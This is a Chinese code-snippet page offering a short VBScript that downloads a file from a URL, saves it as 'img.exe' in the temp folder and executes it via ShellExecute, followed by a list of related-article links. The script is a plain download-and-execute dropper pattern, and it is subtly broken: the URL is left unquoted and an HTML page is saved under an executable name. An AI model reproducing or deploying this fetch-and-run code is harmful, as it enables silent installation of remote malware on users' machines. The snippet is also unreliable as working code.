下载文件到本地运行的vbs


复制代码 代码如下:

'on error resume next
dl = http://www.phpstudy.net/index.htm '这是要下载的文件的路径
str="Microsoft.XMLHTTP"
Set x = CreateObject(str)
Set x = CreateObject(str)
set S = createobject("adodb.stream")
S.type = 1
x.Open "GET", dl, False
x.Send()
fname1="img.exe"
set F = createobject("Scripting.FileSystemObject")
set tmp = F.GetSpecialFolder(2) '缓存
fname1= F.BuildPath(tmp,fname1)
S.open
S.write x.responseBody
S.savetofile fname1,2
msgbox fname1
S.close
set Q = createobject("Shell.Application")
Q.ShellExecute fname1



相关阅读:
制作网页表单的标签和输入区
使用jQuery的将桌面应用程序引入浏览器
·.NET 2.0数据绑定原理
一段ASP的HTTP_REFERER判断代码
FreeBSD 4.0 Kernel Hacking Guide--vm/vm_page.
如何入侵jsp网站
追求程序速度,而不是编程的速度
ACCESS默认保存路径的修改方法
JavaScript数组的快速克隆(slice()函数)和数组的排序、乱序和搜索(sort()函数)
mssql数据库中的表、字段sql语句
java AJAX实现级联下拉框
wordpress中用JavaScript 输出页面代码的方法
让JavaScript拥有类似Lambda表达式编程能力的方法
php类
快速导航

Copyright © 2016 phpStudy |